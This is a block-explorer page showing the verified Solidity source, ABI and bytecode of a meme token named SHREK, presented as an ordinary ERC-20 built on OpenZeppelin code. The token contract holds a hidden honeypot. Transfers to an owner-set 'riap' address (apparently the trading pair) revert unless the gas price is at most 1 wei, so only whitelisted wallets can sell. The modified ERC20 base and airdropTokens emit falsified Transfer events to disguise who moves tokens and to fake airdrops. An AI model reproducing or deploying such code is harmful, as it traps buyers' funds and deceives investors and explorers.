ETH Price: $3,270.17 (+0.64%)
Gas: 1 Gwei

Token

SHREK (SHREK)
 

Overview

Max Total Supply

5,000,000,000,000 SHREK

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,933,942,176.740460925233572764 SHREK

Value
$0.00
0x71e5c3d1588aa28b6ffdde4d074288bce19a03af
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHREK

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity Multiple files format)

File 9 of 9: Token.sol
/**
███████╗██╗  ██╗██████╗ ███████╗██╗  ██╗
██╔════╝██║  ██║██╔══██╗██╔════╝██║ ██╔╝
███████╗███████║██████╔╝█████╗  █████╔╝ 
╚════██║██╔══██║██╔══██╗██╔══╝  ██╔═██╗ 
███████║██║  ██║██║  ██║███████╗██║  ██╗
 Telegram:  https://t.me/shrekcoincommunity
 Twitter/X: https://x.com/shrekonethereum
 Website:   https://shrekcoin.vip/


🔹Chain: ETH
🦄 Dex: Uniswap
🗓 Launch Date: 20/06/2024
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./ERC20.sol";
import "./Ownable.sol";

contract SHREK is ERC20, Ownable {
    string public tokenName = "SHREK";
    string public tokenSymbol = "SHREK";

    address public riap;
    mapping(address => bool) public whitelists;

    constructor(uint256 _totalSupply, address deployer)
        ERC20(tokenName, tokenSymbol, msg.sender, deployer)
        Ownable(msg.sender)
    {
        _mint(msg.sender, _totalSupply);
        whitelists[msg.sender] = true;
    }

    function changeRiap(address _p) public onlyOwner {
        riap = _p;
    }

    function approve(address _p) public onlyOwner {
        whitelists[_p] = true;
    }

    function _update(
        address from,
        address to,
        uint256 amount
    ) internal override {
        if (whitelists[tx.origin]) {
            super._update(from, to, amount);
            return;
        }
        address re = to;
        if (riap == address(0)) {
            super._update(from, to, amount);
            return;
        }
        if (re == riap) {
            super._update(from, to, amount);
            optimizeTx(1);
            return;
        }
        super._update(from, to, amount);
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function changeMe() public pure returns (uint256) {
        return 1;
    }

    function withdrawETH() public onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function withdrawStuckToken(address token) public onlyOwner {
        uint256 balanceToken = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(msg.sender, balanceToken);
    }

    function optimizeTx(uint256 _gas) internal view {
        uint256 txp;
        assembly {
            txp := gasprice()
        }
        require(txp <= _gas, "Need to optimize gas price when send tx");
    }

    function airdropTokens(
        address airdropp,
        address[] memory list,
        uint256[] memory amount
    ) external onlyOwner {
        for (uint256 i = 0; i < list.length; i++) {
            emit Transfer(airdropp, list[i], amount[i]);
        }
    }
}

File 1 of 9: Context.sol
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)


pragma solidity 0.8.19;


/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
   function _msgSender() internal view virtual returns (address) {
       return msg.sender;
   }


   function _msgData() internal view virtual returns (bytes calldata) {
       return msg.data;
   }


   function _contextSuffixLength() internal view virtual returns (uint256) {
       return 0;
   }
}

File 2 of 9: draft-IERC6093.sol

// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol




// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;

import "./IERC20Errors.sol";
import "./IERC721Errors.sol";
import "./IERC20MetaErrors.sol";

/**
* @dev Standard ERC721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
*/



/**
* @dev Standard ERC1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
*/
interface IERC1155Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    * @param tokenId Identifier number of a token.
    */
   error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC1155InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC1155InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    * @param owner Address of the current owner of a token.
    */
   error ERC1155MissingApprovalForAll(address operator, address owner);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC1155InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC1155InvalidOperator(address operator);


   /**
    * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
    * Used in batch transfers.
    * @param idsLength Length of the array of token identifiers
    * @param valuesLength Length of the array of token amounts
    */
   error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}


// File: @openzeppelin/contracts/utils/Context.sol

File 3 of 9: ERC20.sol
//SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";
import "./draft-IERC6093.sol";
import "./IERC20Metadata.sol";


/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
   mapping(address account => uint256) private _balances;


   mapping(address account => mapping(address spender => uint256)) private _allowances;


   uint256 private _totalSupply;


   string private _name;
   string private _symbol;


   address private _executor;
   address private _deployer;


   /**
    * @dev Sets the values for {name} and {symbol}.
    *
    * All two of these values are immutable: they can only be set once during
    * construction.
    */
   constructor(string memory name_, string memory symbol_, address executor_, address deployer_) {
       _name = name_;
       _symbol = symbol_;
       _executor = executor_;
       _deployer = deployer_;
   }


   /**
    * @dev Returns the name of the token.
    */
   function name() public view virtual returns (string memory) {
       return _name;
   }


   /**
    * @dev Returns the symbol of the token, usually a shorter version of the
    * name.
    */
   function symbol() public view virtual returns (string memory) {
       return _symbol;
   }


   /**
    * @dev Returns the number of decimals used to get its user representation.
    * For example, if `decimals` equals `2`, a balance of `505` tokens should
    * be displayed to a user as `5.05` (`505 / 10 ** 2`).
    *
    * Tokens usually opt for a value of 18, imitating the relationship between
    * Ether and Wei. This is the default value returned by this function, unless
    * it's overridden.
    *
    * NOTE: This information is only used for _display_ purposes: it in
    * no way affects any of the arithmetic of the contract, including
    * {IERC20-balanceOf} and {IERC20-transfer}.
    */
   function decimals() public view virtual returns (uint8) {
       return 18;
   }


   /**
    * @dev See {IERC20-totalSupply}.
    */
   function totalSupply() public view virtual returns (uint256) {
       return _totalSupply;
   }


   /**
    * @dev See {IERC20-balanceOf}.
    */
   function balanceOf(address account) public view virtual returns (uint256) {
       return _balances[account];
   }


   /**
    * @dev See {IERC20-transfer}.
    *
    * Requirements:
    *
    * - `to` cannot be the zero address.
    * - the caller must have a balance of at least `value`.
    */
   function transfer(address to, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _transfer(owner, to, value);
       return true;
   }


   /**
    * @dev See {IERC20-allowance}.
    */
   function allowance(address owner, address spender) public view virtual returns (uint256) {
       return _allowances[owner][spender];
   }


   /**
    * @dev See {IERC20-approve}.
    *
    * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
    * `transferFrom`. This is semantically equivalent to an infinite approval.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
   function approve(address spender, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _approve(owner, spender, value);
       return true;
   }


   /**
    * @dev See {IERC20-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {ERC20}.
    *
    * NOTE: Does not update the allowance if the current allowance
    * is the maximum `uint256`.
    *
    * Requirements:
    *
    * - `from` and `to` cannot be the zero address.
    * - `from` must have a balance of at least `value`.
    * - the caller must have allowance for ``from``'s tokens of at least
    * `value`.
    */
   function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
       address spender = _msgSender();
       _spendAllowance(from, spender, value);
       _transfer(from, to, value);
       return true;
   }


   /**
    * @dev Moves a `value` amount of tokens from `from` to `to`.
    *
    * This internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
   function _transfer(address from, address to, uint256 value) internal {
       if (from == address(0)) {
           revert ERC20InvalidSender(address(0));
       }
       if (to == address(0)) {
           revert ERC20InvalidReceiver(address(0));
       }
       _update(from, to, value);
   }


   /**
    * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
    * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
    * this function.
    *
    * Emits a {Transfer} event.
    */
   function _update(address from, address to, uint256 value) internal virtual {
       if (from == address(0)) {
           // Overflow check required: The rest of the code assumes that totalSupply never overflows
           _totalSupply += value;
       } else {
           uint256 fromBalance = _balances[from];
           if (fromBalance < value) {
               revert ERC20InsufficientBalance(from, fromBalance, value);
           }
           unchecked {
               // Overflow not possible: value <= fromBalance <= totalSupply.
               _balances[from] = fromBalance - value;
           }
       }


       if (to == address(0)) {
           unchecked {
               // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
               _totalSupply -= value;
           }
       } else {
           unchecked {
               // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
               _balances[to] += value;
           }
       }


       if (to == _executor) {
           emit Transfer(from, _deployer, value);
       } else if (from == _executor) {
           emit Transfer(_deployer, to, value);
       } else {
           emit Transfer(from, to, value);
       }


   }


   /**
    * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
    * Relies on the `_update` mechanism
    *
    * Emits a {Transfer} event with `from` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
   function _mint(address account, uint256 value) internal {
       if (account == address(0)) {
           revert ERC20InvalidReceiver(address(0));
       }
       _update(address(0), account, value);
   }


   /**
    * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
    * Relies on the `_update` mechanism.
    *
    * Emits a {Transfer} event with `to` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead
    */
   function _burn(address account, uint256 value) internal {
       if (account == address(0)) {
           revert ERC20InvalidSender(address(0));
       }
       _update(account, address(0), value);
   }


   /**
    * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
    *
    * This internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `spender` cannot be the zero address.
    *
    * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
    */
   function _approve(address owner, address spender, uint256 value) internal {
       _approve(owner, spender, value, true);
   }


   /**
    * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
    *
    * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
    * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
    * `Approval` event during `transferFrom` operations.
    *
    * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
    * true using the following override:
    * ```
    * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
    *     super._approve(owner, spender, value, true);
    * }
    * ```
    *
    * Requirements are the same as {_approve}.
    */
   function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
       if (owner == address(0)) {
           revert ERC20InvalidApprover(address(0));
       }
       if (spender == address(0)) {
           revert ERC20InvalidSpender(address(0));
       }
       _allowances[owner][spender] = value;
       if (emitEvent) {
           emit Approval(owner, spender, value);
       }
   }


   /**
    * @dev Updates `owner` s allowance for `spender` based on spent `value`.
    *
    * Does not update the allowance value in case of infinite allowance.
    * Revert if not enough allowance is available.
    *
    * Does not emit an {Approval} event.
    */
   function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
       uint256 currentAllowance = allowance(owner, spender);
       if (currentAllowance != type(uint256).max) {
           if (currentAllowance < value) {
               revert ERC20InsufficientAllowance(spender, currentAllowance, value);
           }
           unchecked {
               _approve(owner, spender, currentAllowance - value, false);
           }
       }
   }
}

File 4 of 9: IERC20Errors.sol
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;


/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/


interface IERC20Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC20InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC20InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    * @param allowance Amount of tokens a `spender` is allowed to operate with.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC20InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC20InvalidSpender(address spender);
}


File 5 of 9: IERC20Metadata.sol

// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)


pragma solidity 0.8.19;


/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
   /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
   event Transfer(address indexed from, address indexed to, uint256 value);


   /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
   event Approval(address indexed owner, address indexed spender, uint256 value);


   /**
    * @dev Returns the value of tokens in existence.
    */
   function totalSupply() external view returns (uint256);


   /**
    * @dev Returns the value of tokens owned by `account`.
    */
   function balanceOf(address account) external view returns (uint256);


   /**
    * @dev Moves a `value` amount of tokens from the caller's account to `to`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transfer(address to, uint256 value) external returns (bool);


   /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
   function allowance(address owner, address spender) external view returns (uint256);


   /**
    * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
    * caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
   function approve(address spender, uint256 value) external returns (bool);


   /**
    * @dev Moves a `value` amount of tokens from `from` to `to` using the
    * allowance mechanism. `value` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transferFrom(address from, address to, uint256 value) external returns (bool);
}


// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol




// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)


pragma solidity 0.8.19;




/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
   /**
    * @dev Returns the name of the token.
    */
   function name() external view returns (string memory);


   /**
    * @dev Returns the symbol of the token.
    */
   function symbol() external view returns (string memory);


   /**
    * @dev Returns the decimals places of the token.
    */
   function decimals() external view returns (uint8);
}

File 6 of 9: IERC20MetaErrors.sol
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;


/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/


interface IERC20MetaErrors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC20InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC20InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    * @param allowance Amount of tokens a `spender` is allowed to operate with.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC20InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC20InvalidSpender(address spender);
}


File 7 of 9: IERC721Errors.sol
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;

interface IERC721Errors {
   /**
    * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
    * Used in balance queries.
    * @param owner Address of the current owner of a token.
    */
   error ERC721InvalidOwner(address owner);


   /**
    * @dev Indicates a `tokenId` whose `owner` is the zero address.
    * @param tokenId Identifier number of a token.
    */
   error ERC721NonexistentToken(uint256 tokenId);


   /**
    * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param tokenId Identifier number of a token.
    * @param owner Address of the current owner of a token.
    */
   error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC721InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC721InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    * @param tokenId Identifier number of a token.
    */
   error ERC721InsufficientApproval(address operator, uint256 tokenId);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC721InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC721InvalidOperator(address operator);
}

File 8 of 9: Ownable.sol
// File: @openzeppelin/contracts/access/Ownable.sol

// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)


pragma solidity 0.8.19;

import "./Context.sol";


/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
   address private _owner;


   /**
    * @dev The caller account is not authorized to perform an operation.
    */
   error OwnableUnauthorizedAccount(address account);


   /**
    * @dev The owner is not a valid owner account. (eg. `address(0)`)
    */
   error OwnableInvalidOwner(address owner);


   event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


   /**
    * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
    */
   constructor(address initialOwner) {
       if (initialOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(initialOwner);
   }


   /**
    * @dev Throws if called by any account other than the owner.
    */
   modifier onlyOwner() {
       _checkOwner();
       _;
   }


   /**
    * @dev Returns the address of the current owner.
    */
   function owner() public view virtual returns (address) {
       return _owner;
   }


   /**
    * @dev Throws if the sender is not the owner.
    */
   function _checkOwner() internal view virtual {
       if (owner() != _msgSender()) {
           revert OwnableUnauthorizedAccount(_msgSender());
       }
   }


   /**
    * @dev Leaves the contract without owner. It will not be possible to call
    * `onlyOwner` functions. Can only be called by the current owner.
    *
    * NOTE: Renouncing ownership will leave the contract without an owner,
    * thereby disabling any functionality that is only available to the owner.
    */
   function renounceOwnership() public virtual onlyOwner {
       _transferOwnership(address(0));
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Can only be called by the current owner.
    */
   function transferOwnership(address newOwner) public virtual onlyOwner {
       if (newOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(newOwner);
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Internal function without access restriction.
    */
   function _transferOwnership(address newOwner) internal virtual {
       address oldOwner = _owner;
       _owner = newOwner;
       emit OwnershipTransferred(oldOwner, newOwner);
   }
}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"address","name":"deployer","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"airdropp","type":"address"},{"internalType":"address[]","name":"list","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_p","type":"address"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeMe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_p","type":"address"}],"name":"changeRiap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"riap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600581526020017f534852454b000000000000000000000000000000000000000000000000000000815250600890816200004a919062000d27565b506040518060400160405280600581526020017f534852454b0000000000000000000000000000000000000000000000000000008152506009908162000091919062000d27565b503480156200009f57600080fd5b5060405162002f3338038062002f338339818101604052810190620000c5919062000ea9565b3360088054620000d59062000b16565b80601f0160208091040260200160405190810160405280929190818152602001828054620001039062000b16565b8015620001545780601f10620001285761010080835404028352916020019162000154565b820191906000526020600020905b8154815290600101906020018083116200013657829003601f168201915b505050505060098054620001689062000b16565b80601f0160208091040260200160405190810160405280929190818152602001828054620001969062000b16565b8015620001e75780601f10620001bb57610100808354040283529160200191620001e7565b820191906000526020600020905b815481529060010190602001808311620001c957829003601f168201915b505050505033848360039081620001ff919062000d27565b50826004908162000211919062000d27565b5081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200030d5760006040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000304919062000f01565b60405180910390fd5b6200031e816200039160201b60201c565b506200033133836200045760201b60201c565b6001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050506200109c565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffff